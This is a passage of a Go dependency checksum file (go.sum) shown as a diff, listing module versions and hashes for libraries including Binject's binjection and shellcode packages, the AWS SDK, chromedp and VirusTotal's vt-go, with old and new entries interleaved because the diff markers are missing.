github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb/go.mod h1:fSQ9asCJK/lIGXUnoRwJNMXcnzel53AsZMCtlVBIn3k=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c h1:cFMQKxryHZ3Sddca8nqJ1RDjaUTW/+79lRKs+7508nk=
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/toml v1.3.2 h1:o7IhLm0Msx3BaB+n3Ag7L8EVlByGnpq14C4YWiu/gL8=
|
||||
github.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=
|
||||
@@ -41,7 +41,6 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow=
|
||||
github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4=
|
||||
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
|
||||
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
|
||||
@@ -55,115 +54,111 @@ github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0e
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/aws/aws-sdk-go-v2 v1.21.0 h1:gMT0IW+03wtYJhRqTVYn0wLzwdnK9sRMcxmtfGzRdJc=
|
||||
github.com/aws/aws-sdk-go-v2 v1.21.0/go.mod h1:/RfNgGmRxI+iFOB1OeJUyxiU+9s88k3pfHvDagGEp0M=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.42 h1:28jHROB27xZwU0CB88giDSjz7M1Sba3olb5JBGwina8=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.42/go.mod h1:4AZM3nMMxwlG+eZlxvBKqwVbkDLlnN2a4UGTL6HjaZI=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.40 h1:s8yOkDh+5b1jUDhMBtngF6zKWLDs84chUk2Vk0c38Og=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.40/go.mod h1:VtEHVAAqDWASwdOqj/1huyT6uHbs5s8FUHfDQdky/Rs=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 h1:uDZJF1hu0EVT/4bogChk8DyjSF6fof6uL/0Y26Ma7Fg=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11/go.mod h1:TEPP4tENqBGO99KwVpV9MlOX4NSrSLP8u3KRy2CDwA8=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 h1:22dGT7PneFMx4+b3pz7lMTRyN8ZKH7M2cW4GP9yUS2g=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41/go.mod h1:CrObHAuPneJBlfEJ5T3szXOUkLEThaGfvnhTf33buas=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 h1:SijA0mgjV8E+8G45ltVHs0fvKpTj8xmZJ3VwhGKtUSI=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35/go.mod h1:SJC1nEVVva1g3pHAIdCp7QsRIkMmLAgoDquQ9Rr8kYw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43 h1:g+qlObJH4Kn4n21g69DjspU0hKTjWtq7naZ9OLCv0ew=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43/go.mod h1:rzfdUlfA+jdgLDmPKjd3Chq9V7LVLYo1Nz++Wb91aRo=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 h1:CdzPW9kKitgIiLV1+MHobfR5Xg25iYnyzWZhyQuSlDI=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35/go.mod h1:QGF2Rs33W5MaN9gYdEQOBBFPLwTZkEhRwI33f7KIG0o=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0 h1:JON9MBvwUlM8HXylfB2caZuH3VXz9RxO4SMp2+TNc3Q=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0/go.mod h1:JjBzoceyKkpQY3v1GPIdg6kHqUFHRJ7SDlwtwoH0Qh8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1 h1:YkNzx1RLS0F5qdf9v1Q8Cuv9NXCL2TkosOxhzlUPV64=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1/go.mod h1:fIAwKQKBFu90pBxx07BFOMJLpRUGu8VOzLJakeY+0K4=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1 h1:8lKOidPkmSmfUtiTgtdXWgaKItCZ/g75/jEk6Ql6GsA=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1/go.mod h1:yygr8ACQRY2PrEcy3xsUI357stq2AxnFM6DIsR9lij4=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0 h1:s4bioTgjSFRwOoyEFzAVCmFmoowBgjTR8gkrF/sQ4wk=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0/go.mod h1:VC7JDqsqiwXukYEDjoHh9U0fOJtNWh04FPQz4ct4GGU=
|
||||
github.com/aws/smithy-go v1.14.2 h1:MJU9hqBGbvWZdApzpvoF2WAIJDbtjK2NDJSiJP7HblQ=
|
||||
github.com/aws/smithy-go v1.14.2/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
|
||||
github.com/aws/aws-sdk-go-v2 v1.24.1 h1:xAojnj+ktS95YZlDf0zxWBkbFtymPeDP+rvUQIH3uAU=
|
||||
github.com/aws/aws-sdk-go-v2 v1.24.1/go.mod h1:LNh45Br1YAkEKaAqvmE1m8FUx6a5b/V0oAKV7of29b4=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.26.5 h1:lodGSevz7d+kkFJodfauThRxK9mdJbyutUxGq1NNhvw=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.26.5/go.mod h1:DxHrz6diQJOc9EwDslVRh84VjjrE17g+pVZXUeSxaDU=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.16.16 h1:8q6Rliyv0aUFAVtzaldUEcS+T5gbadPbWdV1WcAddK8=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.16.16/go.mod h1:UHVZrdUsv63hPXFo1H7c5fEneoVo9UXiz36QG1GEPi0=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.11 h1:c5I5iH+DZcH3xOIMlz3/tCKJDaHFwYEmxvlh2fAcFo8=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.11/go.mod h1:cRrYDYAMUohBJUtUnOhydaMHtiK/1NZ0Otc9lIb6O0Y=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.2.10 h1:vF+Zgd9s+H4vOXd5BMaPWykta2a6Ih0AKLq/X6NYKn4=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.2.10/go.mod h1:6BkRjejp/GR4411UGqkX8+wFMbFbqsUIimfK4XjOKR4=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.5.10 h1:nYPe006ktcqUji8S2mqXf9c/7NdiKriOwMvWQHgYztw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.5.10/go.mod h1:6UV4SZkVvmODfXKql4LCbaZUpF7HO2BX38FgBf9ZOLw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.7.2 h1:GrSw8s0Gs/5zZ0SX+gX4zQjRnRsMJDJ2sLur1gRBhEM=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.7.2/go.mod h1:6fQQgfuGmw8Al/3M2IgIllycxV7ZW7WCdVSqfBeUiCY=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.10.4 h1:/b31bi3YVNlkzkBrm9LfpaKoaYZUxIAj4sHfOTmLfqw=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.10.4/go.mod h1:2aGXHFmbInwgP9ZfpmdIfOELL79zhdNYNmReK8qDfdQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.10.10 h1:DBYTXwIGQSGs9w4jKm60F5dmCQ3EEruxdc0MFh+3EY4=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.10.10/go.mod h1:wohMUQiFdzo0NtxbBg0mSRGZ4vL3n0dKjLTINdcIino=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.44.7 h1:a8HvP/+ew3tKwSXqL3BCSjiuicr+XTU2eFYeogV9GJE=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.44.7/go.mod h1:Q7XIWsMo0JcMpI/6TGD6XXcXcV1DbTj6e9BKNntIMIM=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.18.7 h1:eajuO3nykDPdYicLlP3AGgOyVN3MOlFmZv7WGTuJPow=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.18.7/go.mod h1:+mJNDdF+qiUlNKNC3fxn74WWNN+sOiGOEImje+3ScPM=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.21.7 h1:QPMJf+Jw8E1l7zqhZmMlFw6w1NmfkfiSK8mS4zOx3BA=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.21.7/go.mod h1:ykf3COxYI0UJmxcfcxcVuz7b6uADi1FkiUz6Eb7AgM8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.26.7 h1:NzO4Vrau795RkUdSHKEwiR01FaGzGOH1EETJ+5QHnm0=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.26.7/go.mod h1:6h2YuIoxaMSCFf5fi1EgZAwdfkGMgDY+DVfa61uLe4U=
|
||||
github.com/aws/smithy-go v1.19.0 h1:KWFKQV80DpP3vJrrA9sVAHQ5gc2z8i4EzrLhLlWXcBM=
|
||||
github.com/aws/smithy-go v1.19.0/go.mod h1:NukqUGpCZIILqqiV0NIjeFh24kd/FAa4beRb6nbIUPE=
|
||||
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||
github.com/bits-and-blooms/bitset v1.13.0 h1:bAQ9OPNFYbGHV6Nez0tmNI0RiEu7/hxlYJRUA0wFAVE=
|
||||
github.com/bits-and-blooms/bitset v1.13.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2 h1:FIxT3ZjOj9XJl0U4o2XbEhjFfZl7jCVCDOGq1ZAB7wQ=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2/go.mod h1:SNjnd0yKcW+kw0brSusraeDd5Bf1zBfxAzTL2ss3yQ4=
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998 h1:2zipcnjfFdqAjOQa8otCCh0Lk1M7RBzciy3s80YAKHk=
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.9.3 h1:Wq58e0dZOdHsxaj9Owmfcf+ibtpYN1N0FWVbaxa/esg=
|
||||
github.com/chromedp/chromedp v0.9.3/go.mod h1:NipeUkUcuzIdFbBP8eNNvl9upcceOfWzoJn6cRe4ksA=
|
||||
github.com/cheggaaa/pb/v3 v3.1.5 h1:QuuUzeM2WsAqG2gMqtzaWithDJv0i+i6UlnwSCI4QLk=
|
||||
github.com/cheggaaa/pb/v3 v3.1.5/go.mod h1:CrxkeghYTXi1lQBEI7jSn+3svI3cuc19haAj6jM60XI=
|
||||
github.com/chromedp/cdproto v0.0.0-20240202021202-6d0b6a386732/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/cdproto v0.0.0-20240426225625-909263490071 h1:RdCf9hH3xq5vJifrjGB7zQlFkdRB3pAppcX2helDq2U=
|
||||
github.com/chromedp/cdproto v0.0.0-20240426225625-909263490071/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.9.5 h1:viASzruPJOiThk7c5bueOUY91jGLJVximoEMGoH93rg=
|
||||
github.com/chromedp/chromedp v0.9.5/go.mod h1:D4I2qONslauw/C7INoCir1BJkSwBYMyZgx8X276z3+Y=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/cilium/ebpf v0.11.0 h1:V8gS/bTCCjX9uUnkUFUpPsksM8n1lXBAvHcpiFk1X2Y=
|
||||
github.com/cilium/ebpf v0.11.0/go.mod h1:WE7CZAnqOL2RouJ4f1uyNhqr2P4CCvXFIqdRDUgWsVs=
|
||||
github.com/cilium/ebpf v0.12.3 h1:8ht6F9MquybnY97at+VDZb3eQQr8ev79RueWeVaEcG4=
|
||||
github.com/cilium/ebpf v0.12.3/go.mod h1:TctK1ivibvI3znr66ljgi4hqOT8EYQjz1KWBfb1UVgM=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/coreos/go-iptables v0.7.0 h1:XWM3V+MPRr5/q51NuWSgU0fqMad64Zyxs8ZUoMsamr8=
|
||||
github.com/coreos/go-iptables v0.7.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
|
||||
github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=
|
||||
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/coreos/go-iptables v0.7.1-0.20240112124308-65c67c9f46e6 h1:8h5+bWd7R6AYUslN6c6iuZWTKsKxUFDlpnmilO6R2n0=
|
||||
github.com/coreos/go-iptables v0.7.1-0.20240112124308-65c67c9f46e6/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
|
||||
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
|
||||
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077 h1:WphxHslVftszsr0oZOHPaOjpmN/BsgNYF+gW/hxZXXc=
|
||||
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077/go.mod h1:6NCrWM5jRefaG7iN0iMShPalLsljHWBh9v1zxM2f8Xs=
|
||||
github.com/dblohm7/wingoes v0.0.0-20240119213807-a09d6be7affa h1:h8TfIT1xc8FWbwwpmHn1J5i43Y0uZP97GqasGCzSRJk=
|
||||
github.com/dblohm7/wingoes v0.0.0-20240119213807-a09d6be7affa/go.mod h1:Nx87SkVqTKd8UtT+xu7sM/l+LgXs6c0aHrlKusR+2EQ=
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE=
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY=
|
||||
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e h1:vUmf0yezR0y7jJ5pceLHthLaYf4bA5T14B6q39S4q2Q=
|
||||
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e/go.mod h1:YTIHhz/QFSYnu/EhlF2SpU2Uk+32abacUYA5ZPljz1A=
|
||||
github.com/djherbis/times v1.6.0 h1:w2ctJ92J8fBvWPxugmXIv7Nz7Q3iDMKNx9v5ocVH20c=
|
||||
github.com/djherbis/times v1.6.0/go.mod h1:gOHeRAz2h+VJNZ5Gmc/o7iD9k4wW7NMVqieYCY99oc0=
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dsnet/try v0.0.3 h1:ptR59SsrcFUYbT/FhAbKTV6iLkeD6O18qfIWRml2fqI=
|
||||
github.com/dsnet/try v0.0.3/go.mod h1:WBM8tRpUmnXXhY1U6/S8dt6UWdHTQ7y8A5YSkRCkq40=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM=
|
||||
github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE=
|
||||
github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA=
|
||||
github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4=
|
||||
github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI=
|
||||
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
|
||||
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fxamacker/cbor/v2 v2.5.0 h1:oHsG0V/Q6E/wqTS2O1Cozzsy69nqCiguo5Q1a1ADivE=
|
||||
github.com/fxamacker/cbor/v2 v2.5.0/go.mod h1:TA1xS00nchWmaBnEIxPSE5oHLuJBAVvqrtAnWBwBCVo=
|
||||
github.com/gaissmai/bart v0.4.1 h1:G1t58voWkNmT47lBDawH5QhtTDsdqRIO+ftq5x4P9Ls=
|
||||
github.com/gaissmai/bart v0.4.1/go.mod h1:KHeYECXQiBjTzQz/om2tqn3sZF1J7hw9m6z41ftj3fg=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
|
||||
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
|
||||
github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14=
|
||||
github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M=
|
||||
github.com/github/fakeca v0.1.0 h1:Km/MVOFvclqxPM9dZBC4+QE564nU4gz4iZ0D9pMw28I=
|
||||
github.com/github/fakeca v0.1.0/go.mod h1:+bormgoGMMuamOscx7N91aOuUST7wdaJ2rNjeohylyo=
|
||||
github.com/glebarez/go-sqlite v1.21.2 h1:3a6LFC4sKahUunAmynQKLZceZCOzUthkRkEAl9gAXWo=
|
||||
github.com/glebarez/go-sqlite v1.21.2/go.mod h1:sfxdZyhQjTM2Wry3gVYWaW072Ri1WMdWJi0k6+3382k=
|
||||
github.com/glebarez/sqlite v1.10.0 h1:u4gt8y7OND/cCei/NMHmfbLxF6xP2wgKcT/BJf2pYkc=
|
||||
github.com/glebarez/sqlite v1.10.0/go.mod h1:IJ+lfSOmiekhQsFTJRx/lHtGYmCdtAiTaf5wI9u5uHA=
|
||||
github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GMw=
|
||||
github.com/glebarez/sqlite v1.11.0/go.mod h1:h8/o8j5wiAsqSPoWELDUdJXhjAhsVliSn7bWZjOhrgQ=
|
||||
github.com/go-json-experiment/json v0.0.0-20231102232822-2e55bd4e08b0 h1:ymLjT4f35nQbASLnvxEde4XOBL+Sn7rFuV+FOJqkljg=
|
||||
github.com/go-json-experiment/json v0.0.0-20231102232822-2e55bd4e08b0/go.mod h1:6daplAwHHGbUGib4990V3Il26O0OC4aRyvewaaAihaA=
|
||||
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
|
||||
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
|
||||
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
|
||||
github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q=
|
||||
github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8=
|
||||
github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no=
|
||||
github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA=
|
||||
github.com/go-playground/validator/v10 v10.2.0 h1:KgJ0snyC2R9VXYN2rneOtQcw5aHQB1Vv0sFl1UcHBOY=
|
||||
